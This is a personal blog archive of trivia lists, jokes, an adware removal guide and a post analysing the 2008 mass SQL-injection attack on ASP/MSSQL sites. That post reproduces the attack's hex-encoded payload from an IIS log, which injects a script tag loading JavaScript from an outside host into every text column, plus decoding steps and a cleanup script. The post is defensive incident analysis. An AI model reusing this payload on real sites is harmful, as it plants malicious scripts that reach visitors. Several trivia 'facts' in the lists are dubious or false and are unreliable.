Retromorphic - Junaid Ali Qureshi

5 Qualities to look for in a programmer

2011-07-10T03:39:00.000-07:00

1. Skill

Skill is the sum of what you know, what you think you know and what you think you 'can' know.

2. Ambition

For a programmer his ambition should be as clear as the output of a function that he is writing to help making his code simpler.

3. Loyality

If a programmer is not loyal, he is of no worth to you.

4. Willingness to go the extra mile.

No matter how skilled a programmer is, no matter how high his ambition, no matter how loyal he is, if he is not going for the extra mile, he is not going anywhere!

5. Consistancy

Anyone in the world can be a genious on 'some' day of his life but consistant results are what we all are looking for.

Iamwired.com removal Instructions (FireFox and IE Fix)

2010-03-08T08:33:00.000-08:00

While i was browsing my firefox 3.6 fully updated decided to crash and reboot itself, as it did; i began to see very rude ad content on my screen. Here is how i removed it. Actually i could not find a fix for it online so i decided to get down and dirty. I assume you would be technical enough to remove the threat if i tell you exactly where it is and how it executes itself

Firefox hijacking adware from iamwired.com can be removed by taking out the following components.

FireFox Extensions
G:\Program Files\Mozilla Firefox\extensions\{59bbe3e3-8743-331b-524e-8b9b7f022482}\components\_00HtE6xa1oXYLQ.dll

Registry Keys:
HKEY_CLASSES_ROOT\CLSID\{fe5b2d9d-91b0-b04b-ac20-14a260769687}

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\Settings\{45c2a50f-8f4a-496e-af02-d0207525bf5a}

HKEY_CLASSES_ROOT\CLSID\{f8dd5dce-bddc-1aca-302f-e3c0c3384db8}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{f8dd5dce-bddc-1aca-302f-e3c0c3384db8}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\qw3sppguk-__x2

HKEY_CURRENT_USER\SOFTWARE\AppDataLow\HavingFunOnline

Reset to Blank Registry:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page

iamwired adware components:
G:\Program Files\Mozilla Firefox\extensions\{59bbe3e3-8743-331b-524e-8b9b7f022482}\components\_00HtE6xa1oXYLQ.dll

G:\WINDOWS\system32\w6Tr-OfK-.dll

G:\WINDOWS\system32\Qw3SPpGUk-__x2.exe

G:\WINDOWS\system32\drivers\bntfqibg.sys

G:\Documents and Settings\%UserName%\Local Settings\Temp\ldm1.exe

G:\Documents and Settings\%UserName%\Local Settings\Temp\Temporary Internet Files\Content.IE5\XA597K3J\setup[1].exe

G:\WINDOWS\system32\d3dx10d.dll

G:\Documents and Settings\%UserName%\Local Settings\Temp\_ir_sf_temp_0\irsetup.exe

My Firefox runs like day 1 again ;)

Happy Hunting.

* Update 1: Besides doing the above i used a sneaky little trick to block the path of the injection into spoolsv.exe

Disable Print Spooler Service from services.msc
Make a blank text file named ldm1 at
G:\Documents and Settings\%UserName%\Local Settings\Temp\
Delete G:\Documents and Settings\%UserName%\Local Settings\Temp\ldm1.exe
Rename the .txt file to .exe
attrib +h +s +a +r the new exe file :)

This will block future infections of the www3.iamwired for sure!

Thanks

Health Tips (That you dont know about)

2009-04-23T02:08:00.000-07:00

1. Rinsing your nose with salt water can help keep you healthy and ward off allergy symptoms. Nasal irrigation is a cheap and easy way to find relief if you have spring allergies, nasal congestion, stuffy noses or post-nasal drip, says Dr. Melissa Pynnonen, co-director of the Michigan Sinus Center and an assistant professor in the University of Michigan's department of otolaryngology.

2. Dogs can smell cancer and low blood sugar. The Pine Street Foundation, a cancer-education and research center in San Anselmo, Calif., published a study showing it was possible to train dogs to identify, based on breath samples, which patients had lung and breast cancer. Now the organization is recruiting ovarian cancer patients and dogs for a new study. In diabetics, the presence of ketones—substances made by the body during the metabolic process—can be smelled in urine and on the breath when blood sugars are high. Dogs can pick up on other smells that humans can’t when glucose levels drop.

3. Researchers at Cornell University found that people who pass through an entryway near the kitchen tend to eat 15 percent more than those who use the front door.

4. You're more likely to have a heart attack on a Monday, or up to three days after you've been diagnosed with the flu or a respiratory tract infection. The risk of dying from a heart attack increases by a third during outbreaks of the flu and related respiratory diseases, found researchers at the University of Texas Health Science Center at Houston. The study authors estimate that 90,000 coronary deaths could be prevented a year in the United States if more heart patients simply got a flu shot.

5. You can't get a tan from your computer screen. The Computer Tan Web site was created as a hoax to raise awareness about skin cancer.

6. Obese people spend approximately $485 more on clothing, $828 on extra plane seats, and $36 more on gas each year than their thinner counterparts. Researchers say an overweight driver burns about 18 additional gallons of gas a year. Plus-sized clothing costs 10 percent to 15 percent more than smaller-sized clothes. When it comes to jet fuel, a recent issue of the American Journal of Preventive Medicineestimated that the extra weight of obese Americans caused airlines to spend $275 million to burn 350 million more gallons of fuel.

7. Smokers are four times as likely to report feeling unrested after a night's sleep than nonsmokers. Smokers often experience withdrawal symptoms at night, thus causing periods of restlessness and waking. Smokers were also 1.69 times as likely to develop hearing loss than non-smokers, as smoking may affect antioxidative mechanisms or the blood vessels that feed the auditory system.1

8. Eating fruits and vegetables may help the human body make its own aspirin. Findings from the Journal of Agriculture and Food Chemistryindicate that study participants who received benzoic acid, a natural substance in fruits and vegetables, could make their own salicylic acid, the key component that gives aspirin its anti-inflammatory and pain-relieving properties.

9. A 20-minute nap can improve your overall alertness, boost your mood, and increase productivity. William Anthony, co-author of The Art of Napping at Work (Larson Publications, 1999),says the post-nap boost can last for several hours. In addition, your heart may reap benefits from napping. In a six-year study of Greek adults, researchers found that that men who took naps at least three times a week had a 37 percent lower risk of heart-related death.

10. Your kitchen sink is dirtier than your bathroom: There are typically more than 500,000 bacteria per square inch in its drain. The faucet, basin, and sponge are crawling with germs as well. Bacteria colonies with a total population exceeding 50 million can live on a single dirty sponge. And just think—that's what you use to wipe down countertops, forks and drinking glasses.

11. Four out of five doctors in the UK don't work out enough. Heavy workloads, lack of time and poor motivation contributed to the lack of exercise.2

12. Baking soda can whiten teeth, garlic can help treat athlete's foot, and honey can soothe a hangover.

13. Using a food diary can double a person's weight-loss efforts. Your food diary makes you accountable to yourself and provides you with clues on where the extra calories are sneaking in.

14. Regular exercise can lower a woman's cancer risk—but only if she's getting enough sleep. The National Cancer Institute followed 5,968 women for almost 10 years, during which 604 of them developed some form of cancer. Women in the top half of physical activity levels showed an approximate 20 percent reduction in cancer risk compared to those who exercised less. For a segment of those women, sleeping less than seven hours per night had a decreased benefit to exercise. Their cancer risk was greater than those who exercised but slept more—but still lower than those who exercised the least.

15.Watching yourself run in a mirror can make a treadmill workout go by faster and feel easier.

16. Third-hand smoke—the particles that cling to smokers' hair and clothing and linger in a room long after they've left—is a cancer risk to young children (and pets).

17. Walking against the wind, in the water, or while wearing a backpack burns about 50 more calories per hour than walking with no resistance. People who wear pedometers also tend to burn more calories and lose more weight.

18. Trained sexologists can infer a woman's orgasm history by observing the way she walks.3 In other research news, men find women who wear red sexier than those who wear "cool" colors such as blue and green.

19.Foreign accent syndrome and exploding head syndrome are real (but very rare) medical conditions. The American Sleep Association explains that a person with exploding head syndrome experiences a a loud, indecipherable noise that seems to originate from inside the head.

20. Vitamins don't seem to help older women guard against cancer or heart disease.

21. Some men experience pain, headaches, or sneezing as a result of ejaculation. The increased activity in the nervous system during orgasm may be the culprit in triggering headaches.

22. Germ-killing wipes can spread bacteria from one spot to another if you reuse them. Researchers at the Welsh School of Pharmacy at Cardiff University in Wales issued their concern on the use of the wipes in hospitals and the importance of a routine surveillance program in reducing risks of infection to patients.

23. Oatmeal, citrus fruits, and honey can boost your sex drive and improve fertility. Oats produce a chemical that releases testosterone into the blood supply, increasing sex drive and orgasm strength. Vitamin C found in citrus fruits improves sperm count and motility, while vitamin B from honey helps the body use estrogen, a key factor in blood flow and arousal.

24. Twenty-nine percent of Americans say they have skipped filling a prescription due to the cost, and 23 percent use pill splitting as a way to save money.

25. Facebook may be good for your health: Studies show that staying in touch with family and friends can ward off memory loss and help you live longer.

The Oldest Islamic coins i know off ! and i have them :D

2009-03-05T05:49:00.000-08:00

I took these pictures in early March, I dont know whether these coins are even real but they look old, they are from 2 HIJRI, They are older then the oldest Islamic coins i could find on the net! They Say La-iLLa-Ha-iLLaL-Lah, they have the Holy Prophet (P.B.U.H) name and the names of sahaba's engraved on them. They Clearly state 2 Hijri. These coins are about 1450 year old. IF these are real, these would be amongst the first islamic coins.

Im Back! and Back With a Bang!

2009-03-05T05:23:00.000-08:00

Its been a long time since i wrote for myself, i've been really bizZzy hard fought battles for bread, butter and all the rest that comes with it ;) As i always do, i reinvented myself this year into someone who:

'Eats Frogs Every Morning' Yes you heard me right, and then live the day knowing there is nothing worse that can happen to me all day!

'Boosting neorons bit by bit' Yes its about exercising those muscles that you dont even consider as muscles!

'Speed Reading & Ultra Sonic Listening ;)' Audiobooks the way to go at 3.1x average!

'Synchrozing with people 'K-F-C' is the way to go! this one was recommended by a friend i only spent couple of months with, but he was one of the wise ones I've come accross in my life.exe '

'Whats comming through the tunnel' Everything from VOIP in Pakistan & setting up Asterisk IP PBX, Extensions, Termination, DID's with Linksys 3102 router to setting up DID's through VPNs. On the Advanced side, i would be showing off Quintum AX DX based solutions. Step BY Step.

'i Can C#' Learned C# and ASP.NET, well the basics anyway! will be detailing where i am going with that.

'i Recognize' went through so many open algo's for computer vision, blob recognition ending up on facial recognition. I'll show you the way to skip what took me countless sleepless hours to come down to, every thing from VERISIGHT and Microsofts OPENCV yes ! MICROSOFT!

'To evolve is inevitable - to speed up the process is success!'

'If you dont accept your mistakes! Everything you do will be judged as a mistake!'

FBI.gov "CAN YOU CRACK A CODE?"

2009-01-01T12:27:00.000-08:00

Came across www.FBI.gov and found a link on their main page with a fun little bit, you should try it too before you read this post any further. Here is a direct link FBI.GOV - Trying Cryptanalysis (Cracking Codes) and A Basic Guide to cracking cyptographs and Trying Your Hand at Cryptanalysis HELPS!

CAN YOU CRACK A CODE?
Try Your Hand at Cryptanalysis

The decrypted code:
The answer! The solution! The party pooper! HERE is the code deciphered!

STUPENDOUS. WE
CONGRATULATE YOU ON
CRACKING TBII LATEST
ENCRYPTION. VISIT
www.fbi.gov/coded.htm
TO LET US KNOW OF
YOUR SUCCESS

Well it was a fairly simple single word substitution encryption (I didnt expect that!) and they made it pretty easy by putting a url in the encrypted text. On top of that, how many three letter domains that you know of have any chance of showing up in a fun challenge encryption Cryptanalysis game on www.fbi.gov (yyy.ahb.msk).

My Time was: 5 Min + (had to answer an important call ;)

VFWTDLCSWV. YD
NSLMIJFWEJFD GSW SL
NIJNQBLM FOBV EJFDVF
DLNIGTFBSL. KBVBF
YYY.AHB.MSK/NSCDC.OFZ
FS EDF WV QLSY SA
GSWI VWNNDVV.

(The Original encrypted text on fbi.gov's 2nd cryptanalysis test.)

Cheif Justice of Pakistan. Dogar Pants Down Naked

2008-09-13T02:32:00.000-07:00

Dawn News in the Year 2020

2008-09-13T02:14:00.001-07:00

Smokes ??

2008-09-13T02:11:00.000-07:00

WARNING:
Smoker's Pride Neighbors Deride
------------ --------- --------- --

Cigarette in my hand...I feel like a man...
It gives me the confidence.. .that "I can"...

You don't agree...?? wait till I show you...
Its importance - then you won't argue...

I need it with my breakfast toast...
To supply me the vitamins I need the most...

I need it when I enter my work-place.. .
To give me the energy to match the pace...

I need it after my lunch...
To increase the digestion after the munch...

I need it in my coffee break...
And that's just for keeping me ! awake...

I need it with my evening snacks...
To lift my verve when it sags...

I need it when I leave for the day...
to relax after the tortuous play...

I need it when I move around with friends...
to get the "kick" and feel the trends...

I need it after my dinner...
To adieu my day as a winner.

On my way to glory...

I overlook the statutory warning written on the pack...
For my valor - I should be given a pat on my back.

I feed gallons of smoke to my neighbor...
Can anyone else boast of such a favor ??

An apple a day keeps the doctors away...
The doctors then,won't have any say.
I keep the doctors busy n working...
The apple would have left them sulking.

I contribute heavily in the government's revenues...
which help them venture the different avenues...

And you want me to quit smoking ??
I am sure you must be joking.

I am happy the way I am.
I'm no saint up above the hills.
And if at all I decide to quit...
What'll happen to the company called WILLS ??

WARNING: Cigarette smoking KILLS

My Office Norms

2008-08-26T03:35:00.000-07:00

Do you know 2 ?

2008-07-01T00:55:00.000-07:00

01. A man says average 4850 words in 24 hours

02. The word "queue" is the only word in the English language that is still pronounced the same way when the last four letters are removed

03. The average person's left hand does 56% of the typing

04. Brains are more active sleeping than watching TV

05. The average four year old child asks over four hundred questions a day

06. China has more English speakers than the United States

07. Bookkeeper' is the only word in English language with three consecutive double letters

08. It is physically impossible for pigs to look up into the sky

09. According to Genesis 1:20-22, the chicken came before the egg

10. "Canada" is an Indian word meaning "Big Village"

11. Of all the words in the English language, the word 'set' has the most definitions!

12. What is called a "French kiss" in the English speaking world is known as an "English kiss" in France

13. "Almost" is the longest word in the English language with all the letters in alphabetical order

14. "Rhythm" is the longest English word without a vowel

15. A cockroach can live several weeks with its head cut off!

16. Human thigh bones are stronger than concrete

17. Your heart beats over 100,000 times a day!

18. Right handed people live, on average, nine years longer than left-handed people

19. Your ribs move about 5 million times a year, everytime you breathe!

20. The elephant is the only mammal that can't jump!

21. One quarter of the bones in your body, are in your feet!

22. Like fingerprints, everyone's tongue print is different!

23. Fingernails grow nearly 4 times faster than toenails!

24. Most dust particles in your house are made from dead skin!

25. Women blink nearly twice as much as men

26. Months that begin on a Sunday will always have a "Friday the 13th"

27. Coca-Cola would be green if colouring weren’t added to it

28. More people are killed each year from bees than from snakes

29. The average lead pencil will draw a line 35 miles long or write approximately 50,000 English words

30. More people are allergic to cow's milk than any other food

31. Camels have three eyelids to protect themselves from blowing sand

32. The six official languages of the United Nations are: English, French, Arabic, Chinese, Russian and Spanish

33. You're born with 300 bones, but by the time you become an adult, you only have 206

34. Some worms will eat themselves if they can't find any food!

35. Dolphins sleep with one eye open!

36. It is impossible to sneeze with your eyes open

37. Owls are the only birds who can see the colour blue

38. The average person laughs 10 times a day!

39. An ostrich's eye is bigger than its brain

40. "Happy Birthday" was the first song to be performed in outer space, sung by the Apollo IX astronauts on March 8, 1969

41. "Taxi" is spelled exactly the same in English, French, German, Swedish, Portuguese, and Dutch

42. 11% of the world is left-handed

43. 27% of Americans believe we never landed on the moon

44. 52% of Americans drink coffee

45. 80% of animals on earth are insects

46. 85% of men who die of heartattacks during intercourse, are found to have been cheating on their wives

47. 98% of all murders and rapes are by a close family member or friend of the victim

48. A bat is the only mammal that flies

49. A bean has more DNA per cell than a human cell

50. A dentist invented the Electric Chair

51. A diamond will not dissolve in acid. The only thing that can destroy it is intense heat

52. Your tongue is the only muscle in your body that is attached at only one end

53. A kiss lasting one minute can burn more than 100 calories

54. A lions roar can be heard from five miles away

55. A person will die from total lack of sleep sooner than from starvation. Death will occur about 10 days without sleep, while starvation takes a few weeks

56. A Saudi Arabian woman can get a divorce if her husband doesn't give her coffee

57. A women's heart beats faster than men

58. Absolutely pure gold is so soft that it can be molded with the hands

59. According to Playboy, more women talk dirty during sex than men

60. According to Playboy, the most popular sexual aid is erotic literature

61. According to statistics, Australian women are the most likely to have sex on the first date

62. All mammals have tongues

63. All mammals, except man and monkey are color blind

64. An average human drinks about 16, 000 gallons of water in a lifetime

65. An average human scalp has 100,00 hairs

66. An average person uses the bathroom 6 times per day

67. Antarctica has only one ATM machine

68. Apples are more effecient than caffeine for waking you up in the morning

69. Babies' eyes do not produce tears until the baby is approximately six to eight weeks old

70. Cheese is the oldest of all man-made foods. Cheese was first made in the Middle East when hunters became herders and realized that milk could solidify (sour milk)

71. In the 1400's a law was set forth that a man was not allowed to beat his wife with a stick no thicker than his thumb. Hence we have "the rule of thumb"

72. Many years ago in Scotland, a new game was invented. It was ruled "Gentlemen Only...Ladies Forbidden"...and thus the word GOLF entered into the English language

73. Men can read smaller print than women can; women can hear better

74. Intelligent people have more zinc and copper in their hair

IT CONSULTANT

2008-06-26T23:38:00.000-07:00

IT CONSULTANT JOKE

A cowboy named Bud was overseeing his herd in a remote mountainous

pasture in California when suddenly a brand-new BMW advanced out of a

dust cloud towards him

The driver, a young man in a Brioni suit, Gucci shoes, RayBan sunglasses

and YSL tie, leans out the window and asks the cowboy, 'If I tell you

exactly how many cows and calves you have in your herd,

Will you give me a calf?'

Bud looks at the man, obviously a yuppie, then looks at his peacefully

grazing herd and calmly answers, 'Sure, Why not?'

The yuppie parks his car, whips out his Dell notebook computer, connects

it to his Cingular RAZR V3 cell phone, and surfs to a NASA page on the

Internet, where he calls up a GPS satellite to get an exact fix on his

location which he then feeds to another NASA satellite that scans the

area in an ultra-high-resolution photo.

The young man then opens the digital photo in Adobe Photoshop and

exports it to an image processing facility in Hamburg , Germany .

Within seconds, he receives an email on his Palm Pilot that the image

has been processed and the data stored. He then accesses a MS-SQL

database through an ODBC connected Excel spreadsheet with email on his Blackberry and, after a few minutes, receives a response.

Finally, he prints out a full-color, 150-page report on his hi-Tech

Miniaturized HP LaserJet printer and finally turns to the cowboy and

says, 'You have exactly 1,586 cows and calves.'

'That's right. Well, I guess you can take one of my calves,' says Bud.

He watches the young man select one of the animals and looks on amused as the young man stuffs it into the trunk of his car.

Then the Bud says to the young man, 'Hey, if I can tell you exactly what

your business is, will you give me back my calf?'

The young man thinks about it for a second and then says,

'Okay, why not?'

'You're an IT Consultant', says Bud.

'Wow! That's correct,' says the yuppie, 'but how did you guess that?'

'No guessing required.' answered the cowboy. 'You showed up here even

though nobody called you; you want to get paid for an answer I already

knew,to a question I never asked. You tried to show me how much smarter than me you are; and you don't know a thing about cows...this is a herd of sheep. . .

Now give me back my dog.

ASP and MSSQL well bad combo

2008-06-26T05:09:00.000-07:00

Latest SQL Injection of components
I just received two back to back cases on the SQL Injection attacks today. I found that attackers have targeted a large number of sites including United Nations, UK Government.

I have found that in both the cases ASP is the targeted technology but I don’t think weakly designed ASP.NET sites are spared.

What clients get to see?

The problem affects dynamic page creation based on input that was not validated. This means that the client of a particular web site might see a different page(ads etc.) than expected expecting it to be a naïve URL link.

What this attack changes in your DB?
The attacker runs the following script (**in most cases this is encrypted)

** Encrypted input from IIS Logs:

2008-06-23 01:29:37 201.208.112.20 - W3SVC13 PV013 160.69.1.38 80 GET /index_new_mor.asp file=1520;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616C7A686561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);---0404_Object_Not_Found 404 0 4399 1423 0 HTTP/1.1 www.peterbilt.com Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - -

How do you get the decrypted content?

1. Remove all %20 from the injection part of the Query String and change EXEC(@S) to Print @S to get the following:
DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616C7A686561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
Print @S
--EXEC(@S)

2. Execute the modified statement in Management Studio and you will get the Decrypted Injection string mentioned in “Injected SQL” section.

Injected SQL

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
'''''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

Before

1 Jay K Akhawri This is about the injection.

After

1. Prevent the ongoing attacks

Find the source of the issue, which IS poorly designed input mechanism.

Prevention has 3 rules of thumb.

Step 1. Constrain input.
· RegularExpressionValidator and RangeValidator controls to constrain input in ASP.NET
· If you use regular HTML input controls, use the Regex class in your server-side code to constrain input
Step 2. Use parameters with stored procedures.
Step 3. Use parameters with dynamic SQL.

2. Cleanup the corrupt information
Devise a T-SQL Script which can clean up from all colums in all tables which are of xtype mentioned in the injection the data.
Or use the script in the CURE section.

1. PREVENTION

ASP

Step 1. Encode output based on input parameters.
Step 2. Filter input parameters for special characters.
Step 3. Filter output based on input parameters for special characters.

And,

If you use regular HTML input controls, use the Regex class in your server-side code to constrain input

Useful article
How to prevent cross-site scripting security issues (applies for SQL injection as well)
http://support.microsoft.com/kb/252985

ASP.NET

Use RegularExpressionValidator and RangeValidator controls to constrain input

ControlToValidate="TextBox1"
ValidationExpression="d{5}"
Display="Static"
Font-Names="verdana"
Font-Size="10pt">
Zip code must be 5 numeric digits

Some regular expressions (not tested)

1. To prevent from inputting a script component.

(script)(<)(>)(%3c)(%3e)(SELECT) (UPDATE) (INSERT) (DELETE)(GRANT) (REVOKE)(UNION)(<)(>)

2. To prevent a SQL injection
^["a-zA-Z0-9\040]+$

Useful articles

How To: Use Regular Expressions to Constrain Input in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998267.aspx

How To: Protect From Injection Attacks in ASP.NET
http://msdn.microsoft.com/en-us/library/bb355989.aspx

Other preventive steps

1. Use type-safe SQL parameters with stored procedures.

2. Use type-safe SQL parameters with dynamic SQL

3. Use URL Scan http://msdn.microsoft.com/en-us/library/aa302368.aspx (for IIS 6 you need to download urlscan 2.5)

2. CURE

Once your database is corrupt you have the following two options:
1. Restore a healthy backup.
2. Or, run the following script to clean the DB

use

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

More Information

CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
http://www.cert.org/advisories/CA-2000-02.html

What SQL injection is?
http://msdn.microsoft.com/en-us/library/ms161953.aspx

How To: Protect From SQL Injection in ASP.NET (holds good for ASP as well)
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Microsoft official recommendation for script injections
http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

Published Wednesday, June 25, 2008 5:06 AM by Jay_Akhawri1
Filed under: Sql Injection

Interersting Scrables ;)

2008-06-20T23:26:00.000-07:00

DILIP VENGSARKAR
When you rearrange the letters: SPARKLING DRIVE

PRINCESS DIANA
When you rearrange the letters: END IS A CAR SPIN

MONICA LEWINSKY
When you rearrange the letters: NICE SILKY WOMAN

DORMITORY
When you rearrange the letters: DIRTY ROOM

ASTRONOMER
When you rearrange the letters: MOON STARER

DESPERATION
When you rearrange the letters: A ROPE ENDS IT

THE EYES
When you rearrange the letters: THEY SEE

A DECIMAL POINT
When you rearrange the letters: IM A DOT IN PLACE

MOTHER-IN-LAW
When you rearrange the letters: WOMAN HITLER

Office Rules

2008-06-16T06:34:00.000-07:00

1. DRESS CODE:
It is advised that you come to work dressed according to your salary. If we see you wearing $350 Pradasneakers & carrying a $600 Gucci bag we assume youare doing well financially and therefore you do notneed a raise.

2. SICK DAYS:
We will no longer accept a doctor statement as proof of sickness. If you are able to go to the doctor, youare able to come to work.

3. SURGERY:
Operations are now banned. As long as you are an employee here, you need all your organs. You shouldnot consider removing anything. We hired you intact.To have something removed constitutes a breach ofemployment.

4. PERSONAL DAYS:
Each employee will receive 52 personal days a year. They are called Sundays.

5. VACATION DAYS:
All employees will take their vacation at the same timeevery year. The vacation days are as follows: January 1,August 14, and December 25.

6. BEREAVEMENT LEAVE:
This is no excuse for missing work. There is nothing you can do for deceased friends, relatives, or co-workers.Every effort should be made to have non-employees attendto the arrangements. In rare cases where employeeinvolvement is necessary, the funeral should be scheduledin the late afternoon. We will be glad to allow you to work through your lunch hour and subsequently leave onehour early, provided your work is done.

7. OUT FROM YOUR OWN DEATH:
This will be accepted as an excuse. However, we requireat least two weeks notice as it is your duty to trainyour own replacement.

8. RESTROOM USE:
Entirely too much time is being spent in the restroom. In the future, we will follow the practice of going onceeach day, in alphabetical order. For instance, all employees whose names begin with 'A' will go from 8 to 8:20, employees whose names beginwith 'B' will go from 8:20 to 8:40 and so on. If you'reunable to go at your allotted time, it will be necessary to wait until the next day when your turn comes again. In extreme emergencies employees mayswap their time with a coworker. Both employees'supervisors must approve this exchange in writing.In addition, there is now a strict 3-minute timelimit in the stalls. At the end of three minutes,an alarm will sound, the toilet paper roll willretract, and the stall door will open.

9. LUNCH BREAK:
Skinny people get an hour for lunch as they need to eat more so that they can look healthy. Normal sizepeople get 30 minutes for lunch to get a balancemeal to maintain their average figure. Fat peopleget 5 minutes for lunch because that's all thetime needed to drink a Slim Fast and take a diet pill.

TALK about TOUGH days

2008-06-04T07:19:00.000-07:00

Well here i am trying to tell someone about the day i had today.

101 fever, soar throat, chest infection, 101 code problems, crashed hard drive, virus infection. What next?

Finally got my server and my pc up again, had to replace 1 hard drive, i'll see what has to be done with the other one. And now i cant see text with objects + found a bug in jquery 1.2.5 -found a work around = HEAVEN

Tips 4 All you IT Managers Out There

2008-06-04T02:53:00.000-07:00

1. IT managers: Listen to your people. They know more than you. If not, get rid of them and hire smarter people. If you think you are the smartest one, resign.

2. IT managers: If you know the answer, ask the right questions for someone else to get the solution; don't just give the answer. This is hard when you know what will bring the system back up quickly and everyone in the company is waiting for it, but it will pay off in the long run. After all, you won't always be available.

3. IT managers: The first time someone does something wrong, it's not a mistake -- it's a learning experience. The next time, though, give them hell. And remember: Every day is a chance for an employee to learn something else. Make sure they learn something valuable versus learning there's a better job out there.

4. IT managers: Always give people more work than you think they can handle. People will say you are unrealistic, but everyone needs something to complain about anyway, so make it easy. Plus, there's nothing worse than looking at the clock at 2 p.m. and thinking, "I've got nothing to do, but can't leave." This way, your employees won't have that dilemma.

5. IT managers: Square pegs go in square holes. If someone works well in a team but not so effectively on their own, keep them as part of a team.

2008-05-29T05:22:00.000-07:00

2 years and 22 days ago

IE 6 Flicker Problem

was observed.

99% of all semi professional websites still have a flicker on the CSS background images.

Here are two simple solutions to die for:

1) Simply add the following line to the header of the document and volla!

javascript:void(document.execCommand("BackgroundImageCache",false,true))

2) The .htaaccess thing. I found a use for it after all!

ExpiresActive On
ExpiresDefault A18000
ExpiresByType image/gif A2592000
ExpiresByType image/jpeg A2592000
ExpiresByType image/png A2592000

Ref: http://dean.edwards.name/my/flicker.html

For: Doctor-Dubai.com

Nokia Connecting by itself

2008-05-29T03:47:00.001-07:00

1) The ringtone "Nokia tune" is actually based on a 19th century guitar work named "Gran Vals" by Spanish musician Francisco TÃƒÂ¡rrega. The Nokia Tune was originally named "Grande Valse" on Nokia phones but was changed to "Nokia Tune" around 1998 when it became so well known that people referred to it as the "Nokia Tune."

2) The world's first commercial GSM call was made in 1991 in Helsinki over a Nokia-supplied network, by Prime Minister of Finland Harri Holkeri, using a Nokia phone.

3) Nokia is currently the world's largest digital camera manufacturer, as the sales of its camera-equipped mobile phones have exceeded those of any conventional camera manufacturer.

4) The "Special" tone available to users of Nokia phones when receiving SMS (text messages) is actually Morse code for "SMS". Similarly, the "Ascending" SMS tone is Morse code for "Connecting People," Nokia's slogan. The "Standard" SMS tone is Morse code for "M" (Message).

5) The Nokia corporate font (typeface) is the AgfaMonotype Nokia Sans font, originally designed by Eric Spiekermann. Its mobile phone User's Guides Nokia mostly used the Agfa Rotis Sans

6) In Asia, the digit 4 never appears in any Nokia handset model number, because 4 is considered unlucky in many parts of Southeast/East Asia.

7) Nokia was listed as the 20th most admirable company worldwide in Fortune's list of 2006 (1st in network communications, 4th non-US company).

8) Unlike other modern day handsets, Nokia phones do not automatically start the call timer when the call is connected, but start it when the call is initiated. (Except for Series 60 based handsets like the Nokia 6600)

